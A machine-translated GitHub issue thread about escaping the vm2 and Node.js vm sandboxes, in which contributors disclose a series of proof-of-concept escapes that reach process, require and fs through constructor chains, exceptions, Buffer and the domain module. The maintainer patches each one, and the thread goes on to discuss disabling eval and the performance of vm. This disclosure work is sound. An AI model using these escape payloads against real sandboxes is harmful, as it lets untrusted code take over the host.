Vm2: VMサンドボックスの゚スケヌプ

䜜成日 2016幎06月16日  Â·  64コメント  Â·  ゜ヌス: patriksimek/vm2

VMを゚スケヌプしお、非垞に望たしくないアクションを実行する可胜性がありたす。

ノヌドのネむティブVMに関連しお次の芁点を介しお芋぀かりたした https 

次の2぀のコヌド䟋を芋おください。

const VM = require('vm2').VM;

const options = {
    sandbox: {}
};

const vm = new VM(options);

vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

ず 

const NodeVM = require('vm2').NodeVM;

const options = {
    console: 'off',
    sandbox: {},
    require: false,
    requireExternal: false,
    requireNative: [],
    requireRoot : "./"
};

const vm = new NodeVM(options);
vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

これらの出力のいずれかを実行するず、次のようになりたす。

{ dev: 16777220,
  mode: 16877,
  nlink: 14,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 476,
  blocks: 0,
  atime: 2016-06-15T22:20:05.000Z,
  mtime: 2016-06-15T22:19:59.000Z,
  ctime: 2016-06-15T22:19:59.000Z,
  birthtime: 2016-06-09T01:02:12.000Z }

この動䜜をv4.4.5ずv6.2.1の䞡方で怜蚌したした

discussion

最も参考になるコメント

ああ あなたは远い぀いおいたす ;このようにあなたを導いおくれたこずをお詫びしなければなりたせん。 そこにいるすべおの聎衆のために; node.jsのVMスコヌプの問題は、ホストスコヌプ内のオブゞェクトぞの参照にありたすプロトタむプチェヌンを介しおすべおのホストスコヌプぞの参照を取埗できたす。

constructorプロパティをオヌバヌラむドしたので、その䞋に移動する必芁がありたす。

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

党おのコメント64件

レポヌトのおかげで、私はvm2の新しいバヌゞョンに懞呜に取り組んでおり、䜜成されたコンテキスト内にコンテキストを䜜成するこずでこのリヌクを修正するこずができたした。 サンドボックスを脱出する別の方法があるかどうかはわかりたせんが、ただ芋぀けおいたせん。

const context = vm.createContext(vm.runInNewContext("({})"));

const whatIsThis = vm.runInContext(`
    const ForeignFunction = this.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`, context);

登ろうずしたしたが、これはtrueなので、それは䞍可胜のようです

this.constructor.constructor('return Function(\\'return Function\\')')()() === this.constructor.constructor('return Function')()

私はあなたが䞊で述べたアプロヌチで遊んでいたす。

最初の目暙は、私のナヌスケヌスに必芁なサンドボックスに物事を枡すこずができるようにコメントを調敎するこずでした。 これが間違った方法である堎合は蚂正しおください。ただし、それが唯䞀の方法のようです。

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {
        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

出力

Hello World Inside
Hello World Outside

次に、VMからの脱出を再詊行し、成功したした。

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {

        const ForeignFunction = log.constructor.constructor;
        const process1 = ForeignFunction("return process")();
        const require1 = process1.mainModule.require;
        const console1 = require1("console");
        const fs1 = require1("fs");
        console1.log(fs1.statSync('.'));

        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

どの出力

{ dev: 16777220,
  mode: 16877,
  nlink: 16,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 544,
  blocks: 0,
  atime: Wed Jun 15 2016 17:04:25 GMT-0700 (PDT),
  mtime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  ctime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  birthtime: Wed Jun 08 2016 18:02:12 GMT-0700 (PDT) }
Hello World Inside
Hello World Outside

サンドボックスから物を戻すためにそれらを䜿甚しない限り、サンドボックスに物を安党に泚入する方法はないようです。

方法がありたす-オブゞェクトはVMのコンテキストにコンテキスト化する必芁がありたす。 これを行うには2぀の方法がありたす。 これらのオブゞェクトをディヌプクロヌンするか、プロキシを䜿甚できたす。 新しいvm2でプロキシを䜿甚しおいたす。

https://github.com/patriksimek/vm2/tree/v3

次のリリヌスをGHにプッシュしたした。 ただ䜜業䞭ですが、動䜜するはずです。

v3も壊れおいたす

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        'log' : console.log,
    },
});

vm.run(`
    try {
        log.__proto__ = null;
    }
    catch (e) {
        const foreignFunction = e.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const fs = require("fs");
        log(fs.statSync('.'));
    }
`);

このモグラたたきのゲヌムをプレむするのはちょっず無駄です。

@parasyteありがずう、それは私のコヌドのタむプミスが原因でした。 珟圚修正されおいたす。

䟋倖をキャッチするこずを忘れないでください。

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        boom() {
            throw new Error();
        },
    },
});

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        boom();
    }
    catch (e) {
        exploit(e);
    }
`);

@parasyteありがずう、修正。 私はあなたの貢献に本圓に感謝したす。

🚎+ 1

@patriksimekいいね

たた、コンテキスト化されたサンドボックスから抜け出すために掻甚できるグロヌバルスコヌプ内の特定のオブゞェクトにアクセスできたす。 これは、VMにオブゞェクトを枡す必芁さえありたせん。

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Reflect.construct = exploit;
    new Buffer([0]);
`);

@parasyte sheesh 発芋するためにたくさんのベクトルが残っおいるに違いありたせん。

@keyoskええ、おそらく...

ずころで@ patriksimekES6はcoffeescriptよりもはるかに優れおいたす 👍

@parasyteありがずうございたす。私が芋぀けたバックドアず䞀緒に修正されたした。
@keyosk私たちはそれらすべおを芋぀けるず信じおいたす。

これはどうですか

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Object.assign = function (o) {
        return {
            'get' : function (t, k) {
                try {
                    t = o.get(t, k);
                    exploit(t);
                }
                catch (e) {}

                return t;
            },
        };
    };
    new Buffer([0]);
`);

@parasyteナむスキャッチ、それを修正したした。 ありがずう。

最近のパッチで、たったく新しいワヌムの猶を開きたした。

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        new Buffer();
    }
    catch (e) {
        exploit(e);
    }
`);

くそヌ、私は遅すぎお集䞭力を倱いたした。 䞻に私のために、いく぀かのセキュリティノヌトを曞きたした。 :)

ありがずう、修正したした。

さお、私は今たでNodeVM調べたこずがありたせん スクラブする衚面積はもっずたくさんありたす、ここに...

すぐに私はarguments.callee介した脱出に気づきたした

'use strict';

const {NodeVM} = require('vm2');

const vm = new NodeVM();

vm.run(`
    function getParent(o) {
        return o.constructor.constructor('return this')();
    }

    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log('\u{1F60E} ', fs.statSync('.'), '\u{1F60E}');

        return o;
    }

    (function () {
        exploit(getParent(getParent(arguments.callee.caller)));
    })();
`);

さお、これはここでの最初の問題を瀺しおいたす-新しいコンテキスト内に䜜成されたコンテキストは明らかに十分ではありたせん。 短瞮版

vm.run(`
    global.constructor.constructor('return this')().constructor.constructor('return process')()
`);

ただ解決策を芋぀けおいたせん。 ホストにdelete process.mainModuleパッチを適甚するかもしれたせんが、 requireに登る別の方法があるず確信しおいたす。

解決策を芋぀けたした:-)

ああ あなたは远い぀いおいたす ;このようにあなたを導いおくれたこずをお詫びしなければなりたせん。 そこにいるすべおの聎衆のために; node.jsのVMスコヌプの問題は、ホストスコヌプ内のオブゞェクトぞの参照にありたすプロトタむプチェヌンを介しおすべおのホストスコヌプぞの参照を取埗できたす。

constructorプロパティをオヌバヌラむドしたので、その䞋に移動する必芁がありたす。

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

ここで調査を行ったずころ、 global.__proto__ === host.Object.prototype 。 Object.setPrototypeOf(global, Object.prototype)を適甚するこずで、私はクリクルを閉じるこずができたした。

再床、感謝したす。

@parasyte @patriksimekこれは最新のnpm公開バヌゞョンで終了したすか

はい、今のずころこれを閉じるこずができたす。

FWIW、 eval無効にするだけでこれを解決し、サンドボックスに参照を公開しないように现心の泚意を払いたした。

#include <nan.h>

using v8::Local;
using v8::Context;

NAN_METHOD(enableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(true);

  info.GetReturnValue().SetUndefined();
}

NAN_METHOD(disableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(false);

  info.GetReturnValue().SetUndefined();
}

void Init(v8::Local<v8::Object> exports) {
  exports->Set(Nan::New("enableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(enableEval)->GetFunction());

  exports->Set(Nan::New("disableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(disableEval)->GetFunction());
}

NODE_MODULE(vm8, Init)

これにより、 return process文字列を評䟡できないため、゚スケヌプが防止されたす。 結果ずしお、正圓なeval()および関数発生噚コンストラクタヌの呌び出しも無効になりたす。 これらの機胜の有甚性はかなり疑わしいです。

わかりやすくするために@parasyteは、他の堎所で実装したものですか たたは䜕かがvm2に貢献したしたか

@keyscoresこれは他の堎所で実装されたした。

うん、他の堎所。 同様のサンドボックスプロゞェクトがあり、珟圚、オヌプン゜ヌスをリリヌスするための蚱可を埅っおいたす。 混乱させお申し蚳ありたせん。 そのプロゞェクトで根本的な問題がどのように解決されたかに぀いおコメントしおいたした。

@parasyteリリヌスを曎新したすか 実装を比范するこずに興味がありたす。 誰もが勝぀ず思いたす。

@keyscores申し蚳ありたせんが、ただ報告するものはありたせん。 組織内の蚈画が䞍適切だったため、オヌプン゜ヌスの取り組みの優先順䜍が䜎くなりたした。 \

私はこれが臎呜的な問題であるこずを知っおいたすが、次のようなコヌドを実行するずきにノヌドのvmラむブラリの既知のバむパスはありたすか

javascript vm.runInNewContext("arbitrary user input here", Object.create(null))

@parasyte 奜奇心から、実行する前に倖郚コヌドの先頭にglobal.eval = null;挿入しお、evalを無効にしおみたせんか

@ Eric24いい質問です このプレれンテヌションでは、その理由を詳现に説明しおいたす https  https 

最も重芁な点は、JavaScriptからeval()を呌び出す方法はたくさんあり、 global.evalを眮き換えるこずはそのうちの1぀にすぎないずいうこずです。 リスト党䜓を確認するたでに、 GeneratorFunctionでパッチ評䟡をモンキヌパッチするこずは䞍可胜であるこずに気付くでしょう。 たた、これには、将来のESの倉曎によっおeval()が公開される可胜性のある他の無数の方法は含たれおいたせん。

したがっお、実行可胜な唯䞀の解決策は、C ++を䜿甚しおV8で評䟡を無効にするこずです。

@parasyte 完党に理にかなっおいたすそしおプレれンテヌションに感謝したす。 では、C ++コヌドはVMだけで、たたは「ホストプロセス」でもevalを無効にしたすか

@ Eric24は、disableEvalが呌び出されたコンテキストでevalを無効にしたす。これを、VMで実行される提䟛されたナヌザヌランドコヌドの先頭に挿入する必芁がありたす。 さらに、これをホストで実行し、そのコンテキストで無効にするこずもできたす。

@parasyte 

@Anorovこれはほんの数日前に報告されたした https  domain䜿甚に泚意しおください。

これは、䟿利でダンディな抂念実蚌です。 ノヌドv8.6.0でテスト枈み

// 'use strict';

const domain = require('domain');
const vm = require('vm');

const untrusted = `
const domain = Promise.resolve().domain;
const process = domain.constructor.constructor('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.readdirSync('/'))
`;

domain.create().enter(); // Entering a domain leaks the private context into VM

vm.runInNewContext(untrusted, Object.create(null));

このようなリヌクに泚意しおください。 このクラスの脆匱性から安党を確保する唯䞀の方法は、evalを無効にするこずです。 そしお、evalの範囲倖のvm他の問題があるかもしれないこずにうんざりしおください。

@parasyteありがずう。 私はPythonのノヌドでこのコヌドを実行しおいたす https 

他のラむブラリ domainなどはむンポヌトたたは䜿甚されたせん。 このコヌドに朜圚的な問題がありたすか 可胜であれば、Javascriptの䟝存関係vm2などを必芁ずしないようにしたいず思いたす。

@Anorovああなるほど。 CloudFlareたたはMITMがサンドボックスから抜け出す可胜性のあるコヌドを提䟛しようずするのではないかず心配ですか 暙的型攻撃である必芁がありたすが、完党に排陀するこずはできたせん。

正しい。 誰かが私が期埅しおいるペヌゞを暡倣する可胜性もありたす
私のスクリプトは、そうでないのにCloudflareだず思っおいるこず。 私も考えおいたす
サヌバヌのIPアドレスがCloudflareによっお所有されおいるこずを確認したす
远加の予防措眮。

しかし、それにもかかわらず、このコヌドが任意の任意の堎所で実行されおいるず仮定したしょう
Cloudflareだけでなくナヌザヌ入力。 サンドボックスメカニズムは安党ですか
ノヌドコミュニティの最高の知識は

2017幎10月2日午埌10時10分、「JayOster」 [email protected]は次のように曞いおいたす。

@Anorovhttps //github.com/anorovああなるほど。 心配ですか
CloudFlareたたはMITMは、発生する可胜性のあるコヌドを提䟛しようずしたす
サンドボックス 暙的型攻撃である必芁がありたすが、私はそれを支配したせん
完党に出お。

—
あなたが蚀及されたのであなたはこれを受け取っおいたす。
このメヌルに盎接返信し、GitHubで衚瀺しおください
https://github.com/patriksimek/vm2/issues/32#issuecomment-3337186​​95 、たたはミュヌト
スレッド
https://github.com/notifications/unsubscribe-auth/AA5FI1K1_aDCq6-RPOkCc1ak7gs9KFlvks5soZeZgaJpZM4I22m8
。

@アノロフ

Nodeコミュニティの知る限り、サンドボックスメカニズムは安党ですか

絶察違う。 公匏文曞はこれを非垞に匷力なメモにしおいたす

泚vmモゞュヌルはセキュリティメカニズムではありたせん。 信頌できないコヌドを実行するために䜿甚しないでください。

私はその譊告を知っおいたすが、実甚性に぀いお質問しおいたす。

2017幎10月3日16:34、「CodyMassin」 [email protected]は次のように曞いおいたす。

@Anorov https://github.com/anorov 

サンドボックスメカニズムは安党ですか、ノヌドコミュニティの最善を尜くしたす
知識

絶察違う。 公匏ドキュメント
https://nodejs.org/api/vm.html#vm_vm_executing_javascriptはこれを䜜成したす
非垞に匷いメモ

泚vmモゞュヌルはセキュリティメカニズムではありたせん。 実行に䜿甚しないでください
信頌できないコヌド。

—
あなたが蚀及されたのであなたはこれを受け取っおいたす。
このメヌルに盎接返信し、GitHubで衚瀺しおください
https://github.com/patriksimek/vm2/issues/32#issuecomment-333969953 、たたはミュヌト
スレッド
https://github.com/notifications/unsubscribe-auth/AA5FIwNwNErztUZB-adB4KrC5WoBYs4Nks5sopplgaJpZM4I22m8
。

実際には、サンドボックスメカニズムは信頌できないコヌドに察しお安党ではありたせん。 そのため、 @ patriksimekは、 vm2ラむブラリを䜿甚しお安党なサンドボックスメカニズムを䜜成しようずしたした。 これが、 @ parasyteが、信頌できないコヌドをサンドボックス化する際に別のアプロヌチを䜿甚しお独自のラむブラリを䜜成する䜜業を行った理由でもありたす。

@Anorov芁するに、 vmだけに頌らないでください。 しかし、それはタマネギの単局ずしお䟿利なツヌルです。

私は、 @ parasyteからのevalを無効にするためにvmず提案されたC ++コヌドで

const userfunc = new Function('context',
  '"use strict"; disableEval(); return ' + '(() => {...userland code here... return ...})();');

これも機胜し、はるかに高速です䞀郚のテストケヌスでは1000倍以䞊高速です。 evalを無効にするこずに加えお、ナヌザヌランドコヌドに「global」ぞの参照が含たれないようにしたすこのテストがないず、関数はglobal.whateverを䜿甚しおグロヌバルスコヌプを倉曎できたす。 これは効果的で安党なサンドボックスのようです。 䜕が足りないのですか

あなたの戊略は、人々がfsのような名前空間をむンポヌトしおサヌバヌを倧幅に倉曎するこずを阻止したすか たた、evalの無効化に぀いおも興味がありたす。なぜ、eval以倖のコヌドに぀いおではなく、evalに぀いおすべおの心配があるのでしょうか。

@wysisoft いい質問です。 はい、「require」は公開されおいたせん。 各スクリプトは、メタデヌタの䞀郚ずしお、実行前に関数に個別に公開される、必芁な「蚱可および怜蚌枈み」モゞュヌルのリストを定矩したす。 具䜓的には、「fs」はその承認枈みリストには含たれたせんただし、䞀時ストレヌゞが必芁なスクリプトの堎合は、限定された読み取り/曞き蟌み関数のセットが提䟛されたす。

'eval'を無効にするこずは、倚くの゚クスプロむトを阻止するための鍵です 18NOV16の@parasyteからのコメントを参照しおください。 'eval'を蚱可するず、他の方法では防止できない方法でグロヌバルスコヌプにアクセスできるようになりたす。 詳现に぀いおは、 @ parasyteからのご芧ください。

@ Eric24 vm䜕が「遅い」のかわかりたせん。 これは、nodeJSを匷化するv8ランタむムずたったく同じです。 コヌドを実行するたびにサンドボックスを再䜜成するなど、ばかげたこずをしおいたせんか ある皋床のオヌバヌヘッドがありたすが、1000倍以䞊のオヌバヌヘッドはありたせん。

@wysisoft eval()は、サンドボックスを゚スケヌプするための簡単にアクセスできる方法です。 無効にするず、プラむベヌトコンテキスト内のコヌドをたす。 しかし、繰り返しになりたすが、これが唯䞀の攻撃ベクトルではなく、すべおに泚意する必芁がありたす。

@ parasyte-非垞に単玔なテストがあり、それぞれに同じコヌドにできるだけ近いFunctionずVMを䜜成し、䞡方を1000回実行し、必芁な合蚈時間を報告したす。 以䞋のコヌド

"use strict";

const util = require('util');
const vm = require('vm');
const uuid = require("uuid/v4");

console.log('TEST=' + global.test);
let response = {result: 0, body: null};

// create the Function()
let hrstart = process.hrtime();
const xform = new Function('y', 'response', 'uuid',
  '"use strict"; return ' + '(() => {global.test = "FUNC"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};})();'
);
let hrend = process.hrtime(hrstart);
console.log('new Function: ', hrend[0], hrend[1]/1000000, '\n');

// create/compile the Script()
hrstart = process.hrtime();
const script = new vm.Script(
  '"use strict"; ((global) => {' + 'global.test = "VM"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};' + '})(this);'
);
hrend = process.hrtime(hrstart);
console.log('new vm.Script: ', hrend[0], hrend[1]/1000000);

// create the VM context
hrstart = process.hrtime();
let ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
let context = new vm.createContext(ctx);
hrend = process.hrtime(hrstart);
console.log('new vm.createContext: ', hrend[0], hrend[1]/1000000, '\n');

// test 1000 iterations of Function()
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');

// test 1000 iterations of VM (with optional new context on each)
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  //ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};  // << THIS IS THE PROBLEM!
  //context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

テストでわかるように、スクリプトずコンテキストを1回䜜成しおから、1000回実行しおいたす。 ただし、実際のタヌゲットナヌスケヌスでは、実行ごずに䞀意であり、新しいコンテキストで開始する必芁があるため、毎回コンテキストを再䜜成する必芁がありたすコンパむルされたスクリプトをキャッシュできる可胜性がありたす。 毎回コンテキストを再䜜成しない堎合、FunctionずVMの違いは6〜14回です。

しかし、詳しく調べた埌、実際のナヌスケヌスに近いコヌドのバリ゚ヌションルヌプ内で毎回コンテキストを䜜成するを詊したした。 私は圓初、コンテキストの1回限りの䜜成のタむミングを1ミリ秒未満で蚭定しおいたので、それを反埩ごずに含めおいたした。 しかし、実際のコヌドを実行するず、本圓の原因が瀺されたした。VMはただ䜎速ですが、問題はコンテキストの䜜成ではなく、「ctx」オブゞェクトの䜜成です。 それはかなりの驚きです。

ただし、VMコンテキストの新しいオブゞェクトを䜜成する必芁がありたすただし、Functionでもそのバリ゚ヌションが必芁になるため、2぀の違いは6〜14回に戻りたすこれは䟝然ずしお重芁です。 。

うヌん。 私はちょうど別のテストを詊したした

let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');


hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  // let context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

ここでは、䞡方のテストで「ctx」オブゞェクトが毎回再䜜成されたすが、コンテキストは1回だけ䜜成されたす。 時間差は6から14の範囲に戻りたす。 しかし、毎回コンテキストを再䜜成する行のコメントを倖すず、最倧144倍遅くなりたした。

@ Eric24あなたは私の前の投皿で私が蚀ったこずをやっおいたす。 😕 script.runInContext()が問題です。 これは、異なるv8コンテキストで eval()を呌び出すのず実質的に同じです。

パフォヌマンスの問題を解決する解決策は、 runInContext 1回呌び出しおコヌドをコンパむルし、返された参照たたは入力匕数ずしお指定した参照を介しおコンパむルされたコヌドず察話するこずです。 たずえば、サンドボックスずの双方向通信のためにいく぀かのnew Event()オブゞェクトを枡したす。 これは、[ただ内郚のサンドボックスであり、政治的な理由でオヌプン゜ヌス化されおいない] vmラッパヌが行うこずであり、オヌバヌヘッドは完党に無芖できたす。

@parasyte 

いいえ。 runInContextはコヌドをコンパむルしたす。 考えおみおください。 v8はゞャストむンタむムコンパむラです。 コンパむルするにはコヌドを実行する必芁がありたす。

@parasyte OKですが、node.jsのドキュメントから
_vm.Scriptクラスのむンスタンスには、特定のサンドボックスたたは「コンテキスト」で実行できるコンパむル枈みスクリプトが含たれおいたす。

@ Eric24ドキュメントはちょっず玛らわしいです。 関連するコヌドスニペットは、むンタプリタがJavaScriptをバむトコヌドにコンパむルするのず同じ意味で「コンパむル」されたす。 JSは、 Scriptオブゞェクトがむンスタンス化された埌、むンタヌプリタヌを介しお実行できたすが、v8からのパフォヌマンスの向䞊の倧郚分は、この解釈された䞭間衚珟をネむティブマシンコヌドにコンパむルするこずによっお埗られたす。 埌者のステップは、 runInContextが呌び出されるたで開始されたせん。

実際には、JITが最適化を怜蚎する前にコヌドをりォヌムアップする必芁があるため、JITコンパむラのラむフサむクルはそれよりも耇雑です。 詳现に興味がある堎合は、むンタヌネット䞊にたくさんの読み物がありたす。

ただし、ハヌドデヌタを提䟛するために、 runInContext関連する゜ヌスコヌドを次に瀺したす。https

realRunInContext参照は、C ++ contextifyモゞュヌルからのものです。 ここで芋぀けるこずができたす https 

このC ++コヌドの最も重芁な郚分は、おそらくEvalMachineの呌び出しです。これは、コンパむルされたコヌドを珟圚のコンテキストにバむンドし、 script->Run()を呌び出しおJITコンパむラヌを開始したす。 もちろん、これが最適化するコヌドを探し始めるものです。

お圹に立おば幞いです。

@parasyte はい、それは圹に立ちたす。 ありがずう

vm2サンドボックスを䜿甚した1぀の実装に苊劎しおいたす。 vm2サンドボックス内で非同期コヌドを呌び出すこずはできたすか その理由は、vm2のサンドボックスからMysqlのようなデヌタ゜ヌスに接続する必芁があるからです。

はい、サンドボックス内で非同期埅機できたすが、どのような問題がありたすか
信頌できないコヌドを実行しおいる堎合は、おそらく実行したくないこずを芚えおおいおください。
サンドボックスぞの完党なSQLアクセスを蚱可したす。 代わりに、おそらく远加する必芁がありたす
サンドボックスぞのgetdataメ゜ッドサンドボックスの倖郚でコヌドを実行する
実際のSQL接続が発生したす。

2017幎10月24日火曜日午前6時49分RajagopalSomasundaram <
[email protected]>は次のように曞いおいたす

vm2サンドボックスを䜿甚した1぀の実装に苊劎しおいたす。 電話しおもいいですか
vm2サンドボックス内の非同期コヌド 理由は、に接続する必芁があるずいうこずです
vm2のサンドボックスからのMysqlのようなデヌタ゜ヌス

—
あなたが蚀及されたのであなたはこれを受け取っおいたす。
このメヌルに盎接返信し、GitHubで衚瀺しおください
https://github.com/patriksimek/vm2/issues/32#issuecomment-338978717 、たたはミュヌト
スレッド
https://github.com/notifications/unsubscribe-auth/AOeY7Kir6Mm_k_P2ZhR3tdQzZQPknTNZks5svdz0gaJpZM4I22m8
。

@wysisoft返信ありがずうございたす。詳现に぀いおは、 。 たた、SQLアクセス構成はナヌザヌ自身によっお提䟛され、サンドボックススクリプトはアプリDBにアクセスしたせん。

@ Eric24は「新しい関数」の代替案を共有するこずを心がけおいたすか VMよりもきれいに芋えたす

@platinumindustries 結局のずころ、私は実際には「

@ Eric24それではよろしい。 たた、NodeJS 10.9 *の新しいバヌゞョンでは、vmでevalを無効にするオプションがあり

叀いスレッドに飛び蟌んで本圓に申し蚳ありたせん。

ただし、実際のタヌゲットナヌスケヌスでは、実行ごずに䞀意であり、新しいコンテキストで開始する必芁があるため、毎回コンテキストを再䜜成する必芁がありたすコンパむルされたスクリプトをキャッシュできる可胜性がありたす。

@ Eric24サヌバヌアプリケヌション内でvm2を䜿甚しお任意のコヌドを実行する可胜性がある方法を調べおいたす。 着信リク゚ストからVM内で実行されおいるコヌドにパラメヌタヌ/匕数を枡す方法を怜蚎しおいるため、私のナヌスケヌスはあなたが蚀及したものず䌌おいるず思いたす。

今のずころ、これを行うために私が芋るこずができる唯䞀の方法は、毎回新しいコンテキストを䜜成するこずですが、これは本圓に遅いです。 1぀のコンテキストオブゞェクトを再利甚できるかどうかを調べようずしおいたすが、他のメカニズムを䜿甚しお、VM内で実行されおいるコヌドにデヌタを提䟛しおいたす。 @parasyteは、 Event()オブゞェクトを䜿甚した双方向通信に぀いお䜕か蚀及したしたが、それは私には完党には明確ではありたせんでした。

同様の問題が発生したかどうか疑問に思っおいたしたが、発生した堎合は、どのように解決したかに぀いおいく぀かのヒントを共有しおいただけたせんか。 埡時間ありがずうございたす。

@darahayes 実際、実行ごずに新しいコンテキストを䜜成しおいたすが、これが遅いずはたったく感じおいたせん。 期埅しおいるパフォヌマンスず比べお、どのようなパフォヌマンスが芋られたすか そしお、どのようにパフォヌマンスを枬定しおいたすか

実行ごずに新しいnodejsプロセスをスピンアップしおいたすが、それほど悪くはなく、100ミリ秒未満の遅延です。

このペヌゞは圹に立ちたしたか
0 / 5 - 0 評䟡